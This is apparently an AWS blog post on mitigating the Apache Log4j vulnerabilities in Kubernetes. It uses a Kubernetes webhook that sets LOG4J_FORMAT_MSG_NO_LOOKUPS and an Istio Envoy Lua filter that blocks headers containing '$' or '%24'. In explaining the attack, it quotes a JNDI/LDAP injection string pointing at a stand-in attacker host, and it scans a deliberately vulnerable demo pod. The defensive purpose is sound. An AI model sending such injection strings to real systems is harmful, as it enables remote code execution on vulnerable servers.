Containers

Protect Kubernetes workloads from Apache Log4j vulnerabilities

Log4j is among the most popular and highly used logging frameworks in Java-based applications. On December 9, 2021, the world became aware of zero-day vulnerabilities CVE-2021-44228 and CVE-2021-45105 affecting the popular Apache package. Any attacker who can control log messages or log message parameters can execute arbitrary code loaded from malicious LDAP servers when message lookup substitution is enabled.

Organizations scrambled to fix issues with packages, but more and more issues are being discovered. This package is being used in thousands of applications globally, and it is simply not possible to patch all applications in a short period of time.

In recently discovered vulnerabilities, attackers can execute any code remotely on machines running applications with the Log4j library. The vulnerability occurs due to a lack of sanitization of HTTP headers in HTTP/HTTPS requests. The attacker can take advantage of malicious data sent in HTTP headers such as ${jndi:ldap://hacker-server.com/a} to query, download, and execute arbitrary code.

Amazon Web Services (AWS) issued official bulletins and guidelines to customers for Log4j mitigation.

In this blog post, I am proposing a less intrusive and minimalistic solution to mitigate vulnerabilities in the applications using Apache Log4j. This solution does not require patching or redeployment of software or operating systems. Although I use the Istio in the demo, you can use any other Envoy-based service meshes or edge monitoring systems for a similar effect.

Web application servers should sanitize an incoming HTTP request before serving a response back to the consumer. Unfortunately, this is not the case with JVM-based applications with a vulnerable Apache Log4j library which caused this chaos.

I have depicted this behavior in the image below.

Diagram of how attacker can take advantage of malicious data sent in HTTP headers

Here is a high-level overview of the steps required to exploit these Log4j vulnerabilities:

  1. The attacker sends a malicious request to the vulnerable Log4j Server.
  2. Log4j expands the malicious request and forwards it to the malicious LDAP server.
  3. The malicious LDAP server responds with reference to arbitrary code.
  4. The malicious LDAP server opens a backdoor communication channel for the attacker.
  5. Vulnerable Log4j server receives instructions from LDAP server.
  6. The vulnerable server downloads and executes arbitrary malicious code from remote LDAP server response.
  7. The attacker has successfully launched an agent inside the Java host and can use it at their discretion.

The solution

This solution focuses on the following approaches to mitigate the Log4j exploits.

  1. Patch Log4j package. Updating to a fixed/patched version of Log4j is the ideal solution, however as of January 2022, the package is not completely fixed (CVE-2021-45105). It might take some time until we see a reliable solution. See https://logging.apache.org/log4j/2.x/security.html to track the progress.
  2. Disable lookups in the Apache Log4j. For Log4j version >= 2.10, it was suggested that setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true in the web server can prevent information leakage. Unfortunately, this does not prevent attacks completely. Please see the official response by Apache Foundation.
  3. Block offending messages in the HTTP request. This approach deploys HTTP traffic filtering at the edge. The monitoring service will intercept HTTP traffic and look for suspicious strings in HTTP headers. If an offending message is detected, the edge service will block it from reaching the vulnerable server(s). This solution is versatile and can be easily extended to other protocols such as TCP packet filtering.

The proposed solution will use a web application firewall to inspect HTTP headers of incoming traffic at the edge. If any HTTP headers contain an offending pattern, the request is blocked to prevent it from reaching the vulnerable application server.

Let us visualize the proposed solution.
Diagram of Log4j exploits solution

WAF blocks malicious requests from attacker while it allows clean requests to the application server.

The demo

I have created a simple application that contains a Log4j vulnerable application. I will demonstrate discovery of the Log4j vulnerabilities and, in the later part, how to protect the vulnerable application from such exploits.

In the demo, I will deploy a sample Kubernetes application in Amazon Elastic Kubernetes Service (Amazon EKS). The sample application will use Istio as a service mesh. However, you can use any service mesh which uses Envoy proxy for traffic routing configuration.

This demo will deploy two solutions to mitigate Log4j exploits without recompiling and deploying potentially vulnerable application servers. The solutions are:

  1. Disable lookups in the Apache Log4j
    This solution will inject LOG4J_FORMAT_MSG_NO_LOOKUPS environment variables into containers running vulnerable Java applications. I will deploy Kubernetes Mutating Webhook to enforce this solution.
    Note: Mutating webhook affects only newly created pods; you will need to restart existing pods.
  2. Block offending messages in the HTTP request
    Configure the Envoy HTTP filters to inspect and validate HTTP headers and block any offending requests from reaching vulnerable web servers.
    Note: This solution will not cause any traffic disruption if your cluster is already running a service mesh based on Envoy, such as Istio. However, in case of new installation or configuration of the service mesh, expect a momentary traffic disruption as existing pods may need to restart.

I encourage you to explore code in the GitHub repository to see the implementation details of mutating webhook and Envoy HTTP filters.

Prerequisites

To proceed, you must have the following:

  • An existing AWS account with administrator permissions
  • An existing and working EKS cluster with a supported version of Kubernetes
  • The latest versions of the following utilities installed and configured on the workspace that you will use to interact with AWS and the Amazon EKS cluster

Note: I am using the Bash terminal for code, but it is not strictly required. Example code can be easily tweaked for Microsoft Windows Terminal.

Install Istio into the cluster

istioctl install --set profile=demo
kubectl label ns default istio-injection=enabled --overwrite

Install sample application

git clone https://github.com/aws-samples/k8s-log4j-mitigation
cd k8s-log4j-mitigation && LOG4J_PATCH_DIR=$(pwd)
kubectl apply -f yelb-k8s-app.yaml

# Configure Istio routing for sample application
kubectl apply -f istio/gateway.yaml
kubectl apply -f istio/external-services.yaml
kubectl apply -f istio/yelb-services.yaml

The demo application will look like this image:

Diagram of the demo

The demo application has a vulnerable pod, named as yelb-exploit. This pod serves traffic at path /exploit. However, the rest of the applications are coded in non-JVM programming languages and are not impacted by the Log4j exploits.

Test the sample application for vulnerability

There are multiple utilities available to test the application for potential Log4j exploits, but in this demo, I will use an open-source scanner for its simplicity and ease of use. However, you are encouraged to use any detection tool of your choice.

Open a new terminal window and clone and configure the following repository.

git clone https://github.com/fullhunt/log4j-scan
cd log4j-scan && LOG4J_SCAN=$(pwd)
pip install -r requirements.txt

log4j-scan.py accepts the URL of a remote service or application to test for any Log4j vulnerabilities. Next, get the URL of the load balancer that our application is listening on. In the sample application, the vulnerable application is listening at the path /exploit.

# Get load balancer DNS name
LB_URL=$(kubectl get svc istio-ingressgateway -n istio-system \
-o jsonpath="{.status.loadBalancer.ingress[*].hostname}")

# Execute script
python3 log4j-scan.py -u http://${LB_URL}/exploit

The script should generate output like this:
Script-generated output
Next, I will mitigate the Log4j vulnerabilities and run tests again to validate.

Protect Kubernetes workload from Log4j exploits

I am not including the content of the solution files in this blog for the sake of brevity. However, you are encouraged to review the files in your favorite text editors before deploying them.

  1. Deploy mutating webhook

    This solution will inject LOG4J_FORMAT_MSG_NO_LOOKUPS as an environment variable into every container running under a particular namespace. The following code snippet will deploy an admission webhook in the Kubernetes cluster. The admission webhook will enforce the injection of this environment variable into every new container.

    cd $LOG4J_PATCH_DIR
kubectl apply -f k8s-webhook/deployment.yaml

# Note: existing containers need to be restarted so that webhook
# can inject environment variables.

  2. Block offending messages in the HTTP request

    I will create an Envoy Filter instructing Istio to monitor all HTTP headers of incoming traffic and, if it detects any offending message, block it from reaching the server. The filter is using a small Lua script to test each HTTP header as shown in the following snippet.

    for key, value in pairs(request_handle:headers()) do
  if (string.match(tostring(value), "%$") or string.match(tostring(value),"%%24")) then
     request_handle:respond({[":status"] = "403"}, "Invalid request"..string.char(10))
     break
  end
end

    The Log4j exploit string contains the $ character or its HTML encoded value which is %24. The script is very minimalistic and just testing if any HTTP header contains $ or %24. If the script finds the pattern, it will reject the request with status code 403. This behavior can be enhanced to handle any special use case you may have by modifying Envoy Filter.

    Note: Typically, HTML headers do not contain special strings such as $, but it is quite possible that some application is using these headers for a special purpose. Since Log4j exploits are using these characters, I am taking extreme action and blocking such requests. However, you are encouraged to assess your application requirements and adjust the filter accordingly.

    Apply the filter by executing the following in the terminal or console.

    cd $LOG4J_PATCH_DIR
kubectl apply -f istio/envoy-filter/log4j-exploit-filter.yaml

Let us retest our demo application for Log4j vulnerabilities after applying the Envoy Filter. You will notice that log4j-scan.py did not detect any attacks.

cd $LOG4J_SCAN
python3 log4j-scan.py -u http://${LB_URL}/exploit

The testing script should generate output as shown in the following image.

Testing script generated output

Cleanup

To undo changes made in the Kubernetes cluster, execute the following CLI commands in the terminal.

cd ${LOG4J_PATCH_DIR}

# remove label from default namespace
kubectl label ns default istio-injection-

# remove Istio configuration
kubectl delete -f istio/gateway.yaml
kubectl delete -f istio/external-services.yaml
kubectl delete -f istio/yelb-services.yaml
kubectl delete -f istio/envoy-filter/log4j-exploit-filter.yaml

# uninstall istio (if installed as part of this blog)
istioctl x uninstall --purge
kubectl delete ns istio-system

# uninstall mutation webhook
kubectl delete -f k8s-webhook/deployment.yaml

# uninstall yelb application
kubectl delete -f yelb-k8s-app.yaml

Conclusion

Vulnerabilities are being discovered in applications every day. These vulnerabilities can have different levels of severity and impact, which dictate how quickly they need to be addressed. People and organizations are finding creative ways to exploit such vulnerabilities and use them for financial gain.

There is no single method to protect sensitive applications from such attacks. We need to be more vigilant and apply several layers of security around sensitive workloads and make it harder for people with malicious intent to break in.

The ideal solution for the Apache Log4j exploit is to apply upstream patches from Apache.org to workloads as soon as possible. However, this is not achievable in a short amount of time. In the solution, I blocked malicious requests from reaching legitimate application servers. This is a temporary solution that not only protects applications but also provides enough breathing room to businesses for fixing vulnerable applications.

It is strongly recommended to follow best practices of dependency management and software patching as part of a long-term strategy.